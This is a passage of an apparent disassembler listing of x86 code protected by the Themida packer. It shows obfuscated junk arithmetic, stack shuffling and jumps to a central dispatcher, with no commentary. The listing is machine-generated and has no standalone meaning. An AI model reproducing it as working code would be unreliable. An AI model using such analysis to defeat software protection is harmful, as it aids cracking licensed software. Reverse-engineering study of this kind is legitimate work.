642D04C3h jmp loc_55787E ; --------------------------------------------------------------------------- loc_5542BF: ; CODE XREF: Themida_:0055B0ECj jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5542C4: ; CODE XREF: sub_556A70+36D6j mov [esp+0], edx jmp loc_552FFA ; --------------------------------------------------------------------------- loc_5542CC: ; CODE XREF: sub_556A70+1262j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp mov eax, [esp+0] add esp, 4 jmp sub_5539DB ; --------------------------------------------------------------------------- loc_5542EA: ; CODE XREF: sub_556A70-5216j or edx, 215215CCh xor edx, 22544957h push edx not [esp+4+var_4] pop edx sub esp, 4 mov [esp+4+var_4], eax push 13Ah mov [esp+8+var_8], ecx mov ecx, 654D59C2h mov eax, 23E2D7D0h sub eax, ecx push [esp+8+var_8] pop ecx add esp, 4 jmp loc_55C7DD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554327: ; CODE XREF: Themida_:00552D88j push eax push ebx mov bh, cl mov ah, bh pop ebx push ecx jmp loc_5558D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554334: ; CODE XREF: sub_556A70+365Fj push 468Ch jmp loc_559D7C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_55433E: ; CODE XREF: sub_553D17-2BECj add bl, ah pop eax sub bl, al push eax mov ah, 3Ch sub bl, ah pop eax movzx eax, al lea eax, [edi+eax*4] push 561Bh jmp loc_5565A5 ; END OF FUNCTION CHUNK FOR sub_553D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554359: ; CODE XREF: sub_556A70-55EFj pop ebp add edx, eax jmp loc_555097 ; --------------------------------------------------------------------------- loc_554361: ; CODE XREF: sub_556A70-36CCj mov [esp-14h+arg_10], ecx mov ch, dl mov [ebx], ch push [esp-14h+arg_10] pop ecx add esp, 4 pop ebx jmp loc_553D9F ; --------------------------------------------------------------------------- loc_554375: ; CODE XREF: sub_556A70-2391j mov esi, 4 add ebp, esi pop esi xchg ebp, [esp-20h+arg_1C] pop esp pop edx xor edx, 3CE5140Eh jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55438D: ; CODE XREF: sub_556A70-42E6j push 53D1h mov [esp+2+var_4+2], edx push esi add [esp+6+var_8+2], 206F41C5h pop edx push edi push 69695164h pop edi push ecx mov ecx, 2E8E19A8h shl ecx, 3 xor ecx, 6E383F80h and ecx, 1D6507EAh not ecx jmp loc_5584CE ; --------------------------------------------------------------------------- loc_5543C1: ; CODE XREF: sub_556A70+3282j sub edx, 75B15AA8h add edx, edi add edx, 75B15AA8h push eax mov eax, 0 add eax, edx jmp loc_557121 ; --------------------------------------------------------------------------- loc_5543DC: ; CODE XREF: sub_556A70+3BC3j add esi, 4 xchg esi, [esp+0Eh+var_10+2] pop esp jmp loc_550F2B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_5543EB: ; CODE XREF: sub_552B74+41Dj xchg esi, [esp+4+var_4] jmp loc_553B05 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5543F3: ; CODE XREF: sub_556A70+746j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0Ah+var_C+2] pop esp xchg edx, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] mov ax, word ptr [esp+6+var_8+2] sub esp, 4 jmp loc_556D6D ; --------------------------------------------------------------------------- loc_554417: ; CODE XREF: sub_556A70+2CB4j push [esp+0Ah+var_C+2] jmp loc_553F3A ; --------------------------------------------------------------------------- loc_55441F: ; CODE XREF: sub_556A70-50E9j mov esp, [esp-8+arg_4] mov [esp-8+arg_4], edx mov edx, ebx mov ecx, edx pop edx mov esi, ecx mov ecx, [esp-0Ch+arg_8] add esp, 4 mov eax, esi push [esp-10h+arg_C] pop esi add esp, 4 push edi mov edi, esp push esi push 3681630h pop esi push ebp push eax mov eax, 1C9A23C4h mov ebp, 2D877A67h xor ebp, eax pop eax jmp loc_5514D2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554459: ; CODE XREF: Themida_:00552CEDj add ecx, ebx add ecx, 1CDF1C16h jmp loc_559A8D ; --------------------------------------------------------------------------- loc_554466: ; CODE XREF: Themida_:005512DCj sub esi, 4 xchg esi, [esp] pop esp jmp loc_558EBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554472: ; CODE XREF: sub_556A70-41FBj pop ecx jmp loc_550FAC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_554478: ; CODE XREF: sub_5566B9+15j mov esi, ecx mov eax, esi push [esp+0Ch+var_C] pop esi jmp loc_558EE4 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554485: ; CODE XREF: sub_556A70-B71j mov edi, eax pop eax mov esi, edi pop edi pop ebp xor [esp-18h+arg_18], esi pop esi push [esp-1Ch+arg_18] push [esp-18h+arg_14] pop eax add esp, 4 add esp, 4 xor eax, 4D6D204Dh push edi mov edi, 60FB53A1h push 56BAh mov [esp-18h+arg_14], esi mov esi, 604C53B1h push edx mov edx, 4CB37305h shl edx, 2 jmp loc_5546E4 ; --------------------------------------------------------------------------- loc_5544C7: ; CODE XREF: sub_556A70-24D2j mov dh, 16h mov al, dh pop dx add al, 0A0h add bl, 12h add bl, al jmp loc_556D9A ; --------------------------------------------------------------------------- loc_5544D9: ; CODE XREF: sub_556A70+1E76j add esp, 4 or eax, eax jz loc_5580E2 push dword ptr [edi+28h] add [esp-16h+arg_10+2], 4DBD2EA6h jmp loc_551638 ; --------------------------------------------------------------------------- loc_5544F6: ; CODE XREF: sub_556A70-56A3j pop eax xchg ecx, [esp-1Ch+arg_18] mov esp, [esp-1Ch+arg_18] mov word ptr [esp-1Ch+arg_18], cx movzx cx, al push cx pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55450D: ; CODE XREF: Themida_:00553855j mov ecx, esp add ecx, 4 jmp loc_559DDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_55451A: ; CODE XREF: sub_552634+4437j jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- lodsd push 4406h mov [esp], ecx mov ecx, 5E835EDEh jmp loc_555952 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55515F loc_554532: ; CODE XREF: sub_55515F+10j sub bl, 0E3h push ebx mov bh, 0D7h add al, bh pop ebx add al, bl sub al, 0D7h mov bx, [esp+2+var_2] push ecx mov ecx, esp push ebx push edx push 2494A33h pop edx inc edx push 4231h mov [esp+12h+var_12], esi mov esi, 36803078h xor edx, esi pop esi mov ebx, edx pop edx sub ebx, 0E681CB0h jmp loc_556451 ; END OF FUNCTION CHUNK FOR sub_55515F ; --------------------------------------------------------------------------- loc_55456D: ; CODE XREF: Themida_:00554FFAj push dword ptr [esp] pop eax add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55457C: ; CODE XREF: sub_556A70-407Dj or bh, 17h or bh, 11h shl bh, 3 add bh, 8Bh xor bh, 82h add dl, bh pop ebx add dl, 16h sub bl, dl pop edx add bl, al sub esp, 4 mov [esp-8+arg_4], eax push dx jmp loc_5544C7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5545A3: ; CODE XREF: Themida_:00552642j sub esp, 4 mov [esp], edi jmp loc_5530E3 ; --------------------------------------------------------------------------- loc_5545B1: ; CODE XREF: Themida_:00552926j xor esi, edi pop edi add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5545C7: ; CODE XREF: sub_556A70+3A97j mov ch, dl jmp loc_551D67 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5545CE: ; CODE XREF: Themida_:005514CDj push edx jmp loc_55115E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5545D4: ; CODE XREF: sub_556A70+13EEj pop esp push ebx push 1Ch pop ebx jmp loc_559EB6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_5545E1: ; CODE XREF: sub_55AA5F-9EE1j pop edi jmp loc_553CE3 ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_5545E7: ; CODE XREF: sub_55A748-1D39j add esp, 4 sub al, bh push dword ptr [esp+0] pop ebx push edx mov edx, esp add edx, 4 jmp loc_55C1F6 ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5545FE: ; CODE XREF: sub_556A70-3A93j mov eax, esp jmp loc_55527B ; --------------------------------------------------------------------------- loc_554605: ; CODE XREF: sub_556A70-3C9Dj add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] push ecx push edi mov edi, 5DA85F0Ah mov ecx, edi jmp loc_55A29E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554625: ; CODE XREF: Themida_:005540F4j push edx jmp loc_55880A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5521AC loc_55462B: ; CODE XREF: sub_5521AC+Bj dec bh shr bh, 4 sub bh, 2Fh jmp loc_555378 ; END OF FUNCTION CHUNK FOR sub_5521AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554638: ; CODE XREF: sub_556A70-5770j sub dh, 0D3h xor al, dh jmp loc_554D8C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554642: ; CODE XREF: Themida_:00554E22j push 4162h mov [esp], edx sub esp, 4 push esp pop dword ptr [esp] jmp loc_55C210 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554659: ; CODE XREF: sub_556A70-199Ej shr esi, 1 add esi, 590E0FD8h neg esi push eax mov eax, 362C73EDh jmp loc_55AD9B ; --------------------------------------------------------------------------- loc_55466E: ; CODE XREF: sub_556A70-2DABj add eax, 4 jmp loc_55C384 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554676: ; CODE XREF: Themida_:0055571Aj add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55467E: ; CODE XREF: sub_556A70+4C6j add ebx, 4 add ebx, 4 jmp loc_552E2A ; --------------------------------------------------------------------------- loc_55468C: ; CODE XREF: sub_556A70-545Bj and eax, edx jmp loc_553DE5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554693: ; CODE XREF: Themida_:0055998Ej pop ecx mov edx, [esp] add esp, 4 add esi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_556960 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5546A8: ; CODE XREF: sub_556A70+792j mov ecx, 1 and eax, ecx mov ecx, [esp-8+arg_4] sub esp, 4 mov [esp-4+arg_0], edi mov edi, esp push edx mov edx, 49605C71h shl edx, 6 shl edx, 2 jmp loc_552A04 ; --------------------------------------------------------------------------- loc_5546CB: ; CODE XREF: sub_556A70+1366j mov esi, [esp+0] push 586Fh mov [esp+4+var_4], ebp mov ebp, esp add ebp, 4 push esi jmp loc_554375 ; --------------------------------------------------------------------------- loc_5546E4: ; CODE XREF: sub_556A70-25AEj and edx, 579E799Dh push eax jmp loc_559398 ; --------------------------------------------------------------------------- loc_5546F0: ; CODE XREF: sub_556A70-528Ej pop dword ptr [esp+0] pop esp push edx jmp loc_55269D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B403 loc_5546FA: ; CODE XREF: sub_55B403-AFj pop edi mov ebx, [esp-4+arg_0] add esp, 4 xchg ebp, [esp-8+arg_4] mov esp, [esp-8+arg_4] push ecx push ebx push eax mov ah, dl mov bl, ah mov eax, [esp+4+var_4] add esp, 4 push eax jmp loc_55AC37 ; END OF FUNCTION CHUNK FOR sub_55B403 ; --------------------------------------------------------------------------- mov ax, [esp] push 2CDBh mov [esp], edx jmp loc_554916 ; --------------------------------------------------------------------------- loc_55472E: ; CODE XREF: Themida_:00552BC0j pop edi add eax, 1159079Bh add eax, ebx sub eax, 1159079Bh sub eax, 178B2F8Dh push ebp mov ebp, 6043637Eh sub eax, ebp mov ebp, [esp] add esp, 4 push 7CD5h mov [esp], ebp push edx mov edx, 3D1D0DDCh mov ebp, 2986B245h xor ebp, edx mov edx, [esp] push ecx mov ecx, esp push ebp mov ebp, 34392136h neg ebp dec ebp dec ebp jmp loc_555CC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554778: ; CODE XREF: sub_556A70-32A8j sub edx, 4 xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_55557A ; --------------------------------------------------------------------------- loc_554789: ; CODE XREF: sub_556A70-2C6Cj mov [esp-14h+arg_10], ecx jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554791: ; CODE XREF: Themida_:0055927Cj xchg ecx, [esp] mov esp, [esp] add [esp], ax pushf jmp loc_550A46 ; =============== S U B R O U T I N E ======================================= sub_5547A1 proc near ; CODE XREF: sub_5565AD-321Dj ; FUNCTION CHUNK AT 00551641 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005530A6 SIZE 00000011 BYTES push ebx mov ebx, 75F84806h dec ebx add ebx, 1D7B5D19h neg ebx add ebx, 9373A522h add esi, ebx jmp loc_551641 sub_5547A1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5547BD: ; CODE XREF: sub_556A70-FBAj pop ebp loc_5547BE: ; CODE XREF: sub_556A70+675j push 2483h mov [esp-14h+arg_10], edx jmp sub_55C746 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp pop ebp push edx jmp loc_552A96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5547D8: ; CODE XREF: sub_556A70+449Aj add ebp, 36DC7DD0h dec ebp neg ebp inc ebp sub ebp, 0AC92CC63h and edi, ebp pop ebp sub edi, 10021Ch add edx, edi pop edi add edx, 4 push edx push [esp-18h+arg_18] mov edx, [esp-14h+arg_10] push 1C98h mov [esp-10h+arg_C], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp-10h+arg_C] pop esp pop [esp-14h+arg_10] mov esp, [esp-18h+arg_14] movzx ecx, al push esi push esp pop esi add esi, 4 push 3B82h jmp loc_55CC83 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_554832: ; CODE XREF: sub_5566B9+3ED0j push dword ptr [edi+1Ch] push [esp+8+var_8] jmp loc_55CA07 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55483D: ; CODE XREF: sub_556A70+984j and ch, 42h and ch, 0B5h inc ch jmp loc_555D7D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55484A: ; CODE XREF: Themida_:00554BCCj mov ebp, 4 sub ecx, 2CE37E60h add ecx, ebp add ecx, 2CE37E60h pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55486D: ; CODE XREF: Themida_:00555F5Aj shl esi, 2 jmp loc_552364 ; --------------------------------------------------------------------------- loc_554875: ; CODE XREF: Themida_:00553BD9j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 6DB3560Fh mov eax, 47DC6B33h not eax dec eax shl eax, 1 jmp loc_557286 ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp push eax push edi push 78084D5Dh jmp loc_552E70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5548AE: ; CODE XREF: sub_556A70+BA8j pop dword ptr [edx+38h] pop esi jmp sub_55BDF1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551E74 loc_5548B7: ; CODE XREF: sub_551E74-768j push edi mov edi, 1F7E2703h sub ebx, 537929D8h jmp loc_55A8D8 ; END OF FUNCTION CHUNK FOR sub_551E74 ; --------------------------------------------------------------------------- loc_5548C8: ; CODE XREF: Themida_:00559C3Ej sub edx, 0FFFFFFFFh shl edx, 6 jmp loc_552905 ; --------------------------------------------------------------------------- loc_5548D6: ; CODE XREF: Themida_:0055C2A7j xchg eax, [esp] jmp loc_556BB2 ; --------------------------------------------------------------------------- loc_5548DE: ; CODE XREF: Themida_:005541E6j mov esi, 599C79DCh jmp loc_558997 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5548E8: ; CODE XREF: sub_556A70-2E02j push dword ptr [edi+eax*4] jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5548F0: ; CODE XREF: Themida_:0055C1D6j xor [esp], eax xor eax, [esp] pop esp push esp pop dword ptr [esp] push 6B09h jmp loc_55B89E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555903 loc_554905: ; CODE XREF: sub_555903-3FE7j add esi, 4 jmp loc_551FF8 ; END OF FUNCTION CHUNK FOR sub_555903 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554910: ; CODE XREF: sub_556A70-2B35j push edx jmp loc_558399 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554916: ; CODE XREF: Themida_:00554729j push esp pop edx push 3502h mov [esp], edi sub esp, 4 mov [esp], ecx push 7F096D9Ah mov ecx, [esp] add esp, 4 shl ecx, 7 add ecx, 1E335C8Ch not ecx sub ecx, 9B83D24h shl ecx, 3 add ecx, 0DEE55B96h mov edi, ecx pop ecx jmp loc_559B7D ; --------------------------------------------------------------------------- loc_554956: ; CODE XREF: Themida_:00557E35j mov esi, 0F7A4B04h or esi, 4960737Ch add esi, 2FE567B3h add esi, 80A01CD3h mov eax, esi pop esi push ebp mov ebp, 386A0DC7h add esi, ebp pop ebp jmp loc_5527BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_55497E: ; CODE XREF: sub_5566B9+3CA8j mov [esp+10h+var_10], ecx push eax pop ecx pop eax push edx mov edx, 1A4E4Eh jmp loc_558A95 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_55498F: ; CODE XREF: Themida_:00555968j shl ebp, 7 xor ebp, 70F718FEh dec ebp jmp loc_551C92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_55499E: ; CODE XREF: sub_55AE6E+1E47j sub al, bh pop ebx jmp loc_55984A ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5549A6: ; CODE XREF: sub_556A70+4F8j push esp mov ebp, [esp-18h+arg_14] add esp, 4 add ebp, 4 sub ebp, 4 xor ebp, [esp-1Ch+arg_18] xor [esp-1Ch+arg_18], ebp xor ebp, [esp-1Ch+arg_18] pop esp jmp loc_55124E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5549C8: ; CODE XREF: Themida_:00559F4Dj sub ebp, 4 jmp loc_550A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5549D3: ; CODE XREF: sub_556A70+33DBj xchg eax, [esp-20h+arg_1C] pop esp jmp loc_557DB2 ; --------------------------------------------------------------------------- loc_5549DC: ; CODE XREF: sub_556A70-291Bj add esi, 2 xor esi, [esp-8+arg_4] xor [esp-8+arg_4], esi jmp loc_555A36 ; --------------------------------------------------------------------------- loc_5549ED: ; CODE XREF: sub_556A70+FE5j sub ebp, 6FE35373h add ebp, ecx add ebp, 6FE35373h sub ebp, 778947F4h jmp loc_55B82B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554A06: ; CODE XREF: Themida_:00552716j pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_55576D ; --------------------------------------------------------------------------- push 0 jmp loc_554BA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554A1F: ; CODE XREF: sub_556A70+62j xchg ebx, [esp-8+arg_4] jmp loc_55B991 ; --------------------------------------------------------------------------- loc_554A27: ; CODE XREF: sub_556A70+33BFj pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] mov eax, [esp-0Ch+arg_8] push 3D80h mov [esp-8+arg_4], edi mov edi, esp jmp loc_550EEF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554A3F: ; CODE XREF: Themida_:0055C47Fj pop ebx jmp loc_55A5D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558AE7 loc_554A45: ; CODE XREF: sub_558AE7+4471j pop ebx add [esp+0Ch+var_8], 3258691Ah add [esp+0Ch+var_8], eax sub [esp+0Ch+var_8], 3258691Ah pop eax push [esp+8+var_8] pop ebx jmp loc_55CA8B ; END OF FUNCTION CHUNK FOR sub_558AE7 ; --------------------------------------------------------------------------- loc_554A64: ; CODE XREF: Themida_:00558E7Ej mov ebx, [esp] add esp, 4 shr dh, 3 shr dh, 5 inc dh shr dh, 5 push ecx mov cl, 0Ch or cl, 0A9h add cl, 0A4h add cl, 0C4h sub cl, 0C3h xor dh, cl mov ecx, [esp] jmp loc_5583AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554A8E: ; CODE XREF: sub_556A70+E2j push ecx jmp loc_556C87 ; --------------------------------------------------------------------------- loc_554A94: ; CODE XREF: sub_556A70+35Cj push ecx mov ecx, 367F2BDDh or ecx, 2AB471DEh or ecx, 4CC22EAAh inc ecx and ecx, 1C9E5EC8h jmp loc_5599B6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554AB2: ; CODE XREF: Themida_:00551ADCj push esp pop edx push ecx jmp loc_55694B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554ABA: ; CODE XREF: sub_556A70-464Ej pop [esp-18h+arg_14] mov esp, [esp-1Ch+arg_18] inc [esp-1Ch+arg_18] pushf jmp loc_554F71 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555903 loc_554AC9: ; CODE XREF: sub_555903-38F7j pop [esp+4+var_4] pop esp mov [esp-4+arg_0], esp push esi push 4 pop esi push eax mov eax, 4D334869h sub [esp+4+arg_0], eax pop eax add [esp+arg_0], esi jmp sub_558287 ; END OF FUNCTION CHUNK FOR sub_555903 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554AEB: ; CODE XREF: sub_556A70-178Ej not dl sub dl, 0FFh push ax jmp loc_552BF8 ; --------------------------------------------------------------------------- loc_554AF7: ; CODE XREF: sub_556A70-492Bj pop esi add edx, edi pop edi add edx, 3DB64A84h add edi, edx push [esp+4+var_4] pop edx jmp loc_559098 ; --------------------------------------------------------------------------- loc_554B0C: ; CODE XREF: sub_556A70+10B9j pop esi or edi, edx push dword ptr [esp+0] pop edx add esp, 4 push eax jmp loc_55B6F4 ; --------------------------------------------------------------------------- loc_554B1F: ; CODE XREF: sub_556A70+26F0j mov ebx, 79770D94h xor edx, ebx pop ebx sub edx, 61A5A396h and esi, edx pop edx push ebp push eax mov eax, 43850C72h shl eax, 8 push esi mov esi, 37B604AAh dec esi and esi, 5EEE3361h sub esi, 6E68DE2Ch xor eax, esi pop esi jmp loc_55A517 ; --------------------------------------------------------------------------- loc_554B55: ; CODE XREF: sub_556A70+5E1Bj pop edx or ebx, 178D5DDFh inc ebx push edx mov edx, 7ECA3DB8h sub edx, 1784092Bh and edx, 53585EEDh sub edx, 0DEC800BFh sub ebx, edx pop edx or ebx, 1A104E64h push edx mov edx, 604C4536h add ebx, edx pop edx sub edi, ebx pop ebx mov ebx, 0B74EAE83h jmp loc_55874B ; --------------------------------------------------------------------------- loc_554B94: ; CODE XREF: sub_556A70+4FB8j mov ebp, esp add ebp, 4 push eax mov eax, 4 jmp loc_55C9FC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554BA7: ; CODE XREF: Themida_:00554A1Aj push dword ptr [esp] pop ebx push esi jmp loc_551AC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554BB1: ; CODE XREF: sub_556A70+2C46j mov ebp, [esp-4+arg_0] push esi jmp loc_55B211 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_554BBA proc near ; CODE XREF: sub_556A70+31C8j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055231F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00552447 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00552826 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055A766 SIZE 0000000B BYTES push ebp mov ecx, [esp+0] jmp loc_552447 sub_554BBA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_554BC3: ; CODE XREF: Themida_:0055B7C9j push ecx jmp loc_552D23 ; --------------------------------------------------------------------------- loc_554BC9: ; CODE XREF: Themida_:00559E74j mov [esp], ebp jmp loc_55484A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_554BD1: ; CODE XREF: sub_5584F8+2E83j not ebp jmp loc_550C1A ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_554BD8: ; CODE XREF: Themida_:00553933j push 5B9Fh mov [esp], ecx mov ecx, esp jmp loc_553B3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554BE7: ; CODE XREF: sub_556A70+F8Cj add edi, ecx pop ecx xor edi, [esp-4+arg_0] xor [esp-4+arg_0], edi xor edi, [esp-4+arg_0] pop esp shr ecx, 2 jmp loc_559072 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554BFC: ; CODE XREF: Themida_:005532FAj sub ebx, 3FB75C1Dh add ebx, edi add ebx, 3FB75C1Dh jmp loc_552DB5 ; --------------------------------------------------------------------------- loc_554C0F: ; CODE XREF: Themida_:0055134Fj xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55BF9C ; --------------------------------------------------------------------------- loc_554C1D: ; CODE XREF: Themida_:00558E14j add ecx, 4 add ecx, 4 push 7CF6h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp push eax mov eax, 5F5612A4h add eax, 64FB2E6Fh add eax, 3BAEBEF1h add edi, eax pop eax push esi mov esi, 4 add edi, esi mov esi, [esp] jmp loc_555EE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554C7C: ; CODE XREF: sub_556A70+63AEj add esp, 4 jmp loc_551CD7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554C87: ; CODE XREF: Themida_:00553920j push esi push ebp mov ebp, 9162451h mov esi, 1F03555Dh jmp loc_555C42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554C98: ; CODE XREF: sub_556A70+4870j mov dl, 0EEh sub esp, 4 mov [esp-8+arg_4], ebx jmp loc_55852B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554CA5: ; CODE XREF: Themida_:00553632j mov dh, 0E4h jmp loc_550CAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_554CAC: ; CODE XREF: sub_553651+8FF1j pop ecx pop eax xchg ebx, [esp+0Ch+var_C] pop esp or eax, eax jz loc_55CE3F push dword ptr [edi+1Ch] mov ecx, [esp+0Ch+var_C] push ebx mov ebx, esp push 7677h mov [esp+14h+var_14], ebp jmp sub_555B85 ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- loc_554CD0: ; CODE 